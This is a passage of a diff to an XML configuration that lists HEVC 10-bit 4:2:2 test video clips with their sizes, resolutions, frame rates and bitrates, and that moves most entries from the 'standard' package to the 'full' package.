   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=189234,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348856,package=standard</value>
+    <value>mime=video/hevc,size=189234,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=189234,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348856,package=standard</value>
+    <value>mime=video/hevc,size=189234,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=189234,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348856,package=standard</value>
+    <value>mime=video/hevc,size=189234,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=191082,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2371960,package=standard</value>
+    <value>mime=video/hevc,size=191082,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2371960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=180432,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2238832,package=standard</value>
+    <value>mime=video/hevc,size=180432,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2238832,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=191377,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2375648,package=standard</value>
+    <value>mime=video/hevc,size=191377,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2375648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_medium.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=193007,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2396008,package=standard</value>
+    <value>mime=video/hevc,size=193007,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2396008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=190042,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358944,package=standard</value>
+    <value>mime=video/hevc,size=190042,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2358944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=188962,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2345448,package=standard</value>
+    <value>mime=video/hevc,size=188962,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2345448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=188488,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2339520,package=standard</value>
+    <value>mime=video/hevc,size=188488,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2339520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=201426,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2501256,package=standard</value>
+    <value>mime=video/hevc,size=201426,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2501256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_mincu32.mp4">
-    <value>mime=video/hevc,size=224643,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2791472,package=standard</value>
+    <value>mime=video/hevc,size=224643,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2791472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=189652,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354072,package=standard</value>
+    <value>mime=video/hevc,size=189652,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348984,package=standard</value>
+    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348984,package=standard</value>
+    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348984,package=standard</value>
+    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_placebo.mp4">
-    <value>mime=video/hevc,size=202733,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2517568,package=standard</value>
+    <value>mime=video/hevc,size=202733,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2517568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=189239,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=standard</value>
+    <value>mime=video/hevc,size=189239,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_psnr.mp4">
-    <value>mime=video/hevc,size=286302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3562200,package=standard</value>
+    <value>mime=video/hevc,size=286302,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3562200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp0cb12cr12.mp4">
     <value>mime=video/hevc,size=9137755,width=854,height=480,frame-rate=50,profile=,level=,bitrate=114205344,package=full</value>
@@ -15534,205 +15534,205 @@
     <value>mime=video/hevc,size=659641,width=854,height=480,frame-rate=50,profile=,level=,bitrate=8228944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp39cbm12cr12.mp4">
-    <value>mime=video/hevc,size=181633,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2253824,package=standard</value>
+    <value>mime=video/hevc,size=181633,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2253824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp4.mp4">
     <value>mime=video/hevc,size=9533771,width=854,height=480,frame-rate=50,profile=,level=,bitrate=119155568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=14477,width=854,height=480,frame-rate=50,profile=,level=,bitrate=164400,package=standard</value>
+    <value>mime=video/hevc,size=14477,width=854,height=480,frame-rate=50,profile=,level=,bitrate=164400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cb12cr12.mp4">
-    <value>mime=video/hevc,size=11840,width=854,height=480,frame-rate=50,profile=,level=,bitrate=131408,package=standard</value>
+    <value>mime=video/hevc,size=11840,width=854,height=480,frame-rate=50,profile=,level=,bitrate=131408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cb12crm12.mp4">
-    <value>mime=video/hevc,size=13201,width=854,height=480,frame-rate=50,profile=,level=,bitrate=148424,package=standard</value>
+    <value>mime=video/hevc,size=13201,width=854,height=480,frame-rate=50,profile=,level=,bitrate=148424,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cbm12cr12.mp4">
-    <value>mime=video/hevc,size=13685,width=854,height=480,frame-rate=50,profile=,level=,bitrate=154472,package=standard</value>
+    <value>mime=video/hevc,size=13685,width=854,height=480,frame-rate=50,profile=,level=,bitrate=154472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=14667,width=854,height=480,frame-rate=50,profile=,level=,bitrate=166744,package=standard</value>
+    <value>mime=video/hevc,size=14667,width=854,height=480,frame-rate=50,profile=,level=,bitrate=166744,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=11836,width=854,height=480,frame-rate=50,profile=,level=,bitrate=131384,package=standard</value>
+    <value>mime=video/hevc,size=11836,width=854,height=480,frame-rate=50,profile=,level=,bitrate=131384,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=189239,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=standard</value>
+    <value>mime=video/hevc,size=189239,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=189091,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2347056,package=standard</value>
+    <value>mime=video/hevc,size=189091,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2347056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slower.mp4">
-    <value>mime=video/hevc,size=198200,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2460912,package=standard</value>
+    <value>mime=video/hevc,size=198200,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2460912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_slow.mp4">
-    <value>mime=video/hevc,size=190892,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2369568,package=standard</value>
+    <value>mime=video/hevc,size=190892,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2369568,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng0.mp4">
-    <value>mime=video/hevc,size=266817,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3318632,package=standard</value>
+    <value>mime=video/hevc,size=266817,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3318632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=189143,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2347712,package=standard</value>
+    <value>mime=video/hevc,size=189143,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2347712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng64.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_srng8.mp4">
-    <value>mime=video/hevc,size=190108,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359768,package=standard</value>
+    <value>mime=video/hevc,size=190108,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2359768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ssim.mp4">
-    <value>mime=video/hevc,size=264662,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3291696,package=standard</value>
+    <value>mime=video/hevc,size=264662,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3291696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_strngintra0.mp4">
-    <value>mime=video/hevc,size=189665,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354232,package=standard</value>
+    <value>mime=video/hevc,size=189665,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_superfast.mp4">
-    <value>mime=video/hevc,size=295630,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3678824,package=standard</value>
+    <value>mime=video/hevc,size=295630,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3678824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc4.mp4">
-    <value>mime=video/hevc,size=189037,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2346368,package=standard</value>
+    <value>mime=video/hevc,size=189037,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2346368,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tc6.mp4">
-    <value>mime=video/hevc,size=189945,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357720,package=standard</value>
+    <value>mime=video/hevc,size=189945,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2357720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm4.mp4">
-    <value>mime=video/hevc,size=189537,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352624,package=standard</value>
+    <value>mime=video/hevc,size=189537,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2352624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tcm6.mp4">
-    <value>mime=video/hevc,size=190183,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2360696,package=standard</value>
+    <value>mime=video/hevc,size=190183,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2360696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmp_lyrs.mp4">
-    <value>mime=video/hevc,size=189246,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=standard</value>
+    <value>mime=video/hevc,size=189246,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348912,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tmvp0.mp4">
-    <value>mime=video/hevc,size=190425,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2363736,package=standard</value>
+    <value>mime=video/hevc,size=190425,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2363736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuinterdepth2.mp4">
-    <value>mime=video/hevc,size=194328,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2412536,package=standard</value>
+    <value>mime=video/hevc,size=194328,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2412536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuinterdepth4.mp4">
-    <value>mime=video/hevc,size=191128,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2372520,package=standard</value>
+    <value>mime=video/hevc,size=191128,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2372520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuintradepth2.mp4">
-    <value>mime=video/hevc,size=189271,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349320,package=standard</value>
+    <value>mime=video/hevc,size=189271,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2349320,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tuintradepth4.mp4">
-    <value>mime=video/hevc,size=190207,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2361008,package=standard</value>
+    <value>mime=video/hevc,size=190207,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2361008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit2.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_tulimit4.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_ultrafast.mp4">
-    <value>mime=video/hevc,size=275576,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3428144,package=standard</value>
+    <value>mime=video/hevc,size=275576,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3428144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryfast.mp4">
-    <value>mime=video/hevc,size=163470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2027400,package=standard</value>
+    <value>mime=video/hevc,size=163470,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2027400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_veryslow.mp4">
-    <value>mime=video/hevc,size=196576,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2440608,package=standard</value>
+    <value>mime=video/hevc,size=196576,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2440608,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_matrix.mp4">
-    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt2020.mp4">
-    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_color_prim_bt709.mp4">
-    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_vui_transfer.mp4">
-    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189245,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb0weightp1.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightb1.mp4">
-    <value>mime=video/hevc,size=189662,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354200,package=standard</value>
+    <value>mime=video/hevc,size=189662,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0.mp4">
-    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=standard</value>
+    <value>mime=video/hevc,size=189242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2348944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_weightp0weightb1.mp4">
-    <value>mime=video/hevc,size=189649,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354032,package=standard</value>
+    <value>mime=video/hevc,size=189649,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2354032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_wpp1.mp4">
-    <value>mime=video/hevc,size=188733,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2342584,package=standard</value>
+    <value>mime=video/hevc,size=188733,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2342584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_zerolatency.mp4">
-    <value>mime=video/hevc,size=227604,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2832336,package=standard</value>
+    <value>mime=video/hevc,size=227604,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2832336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1024x1024p50f32_2000kbps.mp4">
-    <value>mime=video/hevc,size=153152,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1897824,package=standard</value>
+    <value>mime=video/hevc,size=153152,width=1024,height=1024,frame-rate=50,profile=,level=,bitrate=1897824,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1024x576p50f32_1100kbps.mp4">
-    <value>mime=video/hevc,size=89002,width=1024,height=576,frame-rate=50,profile=,level=,bitrate=1095960,package=standard</value>
+    <value>mime=video/hevc,size=89002,width=1024,height=576,frame-rate=50,profile=,level=,bitrate=1095960,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1024x768p50f32_1500kbps.mp4">
-    <value>mime=video/hevc,size=118449,width=1024,height=768,frame-rate=50,profile=,level=,bitrate=1464048,package=standard</value>
+    <value>mime=video/hevc,size=118449,width=1024,height=768,frame-rate=50,profile=,level=,bitrate=1464048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1080x1440p50f32_3100kbps.mp4">
-    <value>mime=video/hevc,size=233482,width=1080,height=1440,frame-rate=50,profile=,level=,bitrate=2901944,package=standard</value>
+    <value>mime=video/hevc,size=233482,width=1080,height=1440,frame-rate=50,profile=,level=,bitrate=2901944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1080x16p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=23953,width=1080,height=16,frame-rate=25,profile=,level=,bitrate=141248,package=standard</value>
+    <value>mime=video/hevc,size=23953,width=1080,height=16,frame-rate=25,profile=,level=,bitrate=141248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1080x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=297894,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3707400,package=standard</value>
+    <value>mime=video/hevc,size=297894,width=1080,height=1920,frame-rate=50,profile=,level=,bitrate=3707400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1080x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=18117,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=209896,package=standard</value>
+    <value>mime=video/hevc,size=18117,width=1080,height=64,frame-rate=50,profile=,level=,bitrate=209896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1088x1920p50f32_4100kbps.mp4">
-    <value>mime=video/hevc,size=298092,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3709872,package=standard</value>
+    <value>mime=video/hevc,size=298092,width=1088,height=1920,frame-rate=50,profile=,level=,bitrate=3709872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1152x2048p50f32_4700kbps.mp4">
-    <value>mime=video/hevc,size=339736,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4230432,package=standard</value>
+    <value>mime=video/hevc,size=339736,width=1152,height=2048,frame-rate=50,profile=,level=,bitrate=4230432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1280x1280p50f32_3200kbps.mp4">
-    <value>mime=video/hevc,size=231497,width=1280,height=1280,frame-rate=50,profile=,level=,bitrate=2877432,package=standard</value>
+    <value>mime=video/hevc,size=231497,width=1280,height=1280,frame-rate=50,profile=,level=,bitrate=2877432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1280x16p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=21842,width=1280,height=16,frame-rate=25,profile=,level=,bitrate=128056,package=standard</value>
+    <value>mime=video/hevc,size=21842,width=1280,height=16,frame-rate=25,profile=,level=,bitrate=128056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1280x1920p50f32_4900kbps.mp4">
-    <value>mime=video/hevc,size=356163,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4435760,package=standard</value>
+    <value>mime=video/hevc,size=356163,width=1280,height=1920,frame-rate=50,profile=,level=,bitrate=4435760,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1280x64p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=17604,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=203480,package=standard</value>
+    <value>mime=video/hevc,size=17604,width=1280,height=64,frame-rate=50,profile=,level=,bitrate=203480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1280x720p50f32_1800kbps.mp4">
-    <value>mime=video/hevc,size=141339,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1750168,package=standard</value>
+    <value>mime=video/hevc,size=141339,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1750168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_1280x960p50f32_2400kbps.mp4">
-    <value>mime=video/hevc,size=182256,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2261632,package=standard</value>
+    <value>mime=video/hevc,size=182256,width=1280,height=960,frame-rate=50,profile=,level=,bitrate=2261632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_128x128p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=15834,width=128,height=128,frame-rate=50,profile=,level=,bitrate=181472,package=standard</value>
+    <value>mime=video/hevc,size=15834,width=128,height=128,frame-rate=50,profile=,level=,bitrate=181472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_128x192p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=16187,width=128,height=192,frame-rate=50,profile=,level=,bitrate=185784,package=standard</value>
+    <value>mime=video/hevc,size=16187,width=128,height=192,frame-rate=50,profile=,level=,bitrate=185784,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/resolution/crowd_128x72p50f32_200kbps.mp4">
-    <value>mime=video/hevc,size=14567,width=128,height=72,frame-rate=50,profile=,level=,bitrate=165544,package=standard</value>
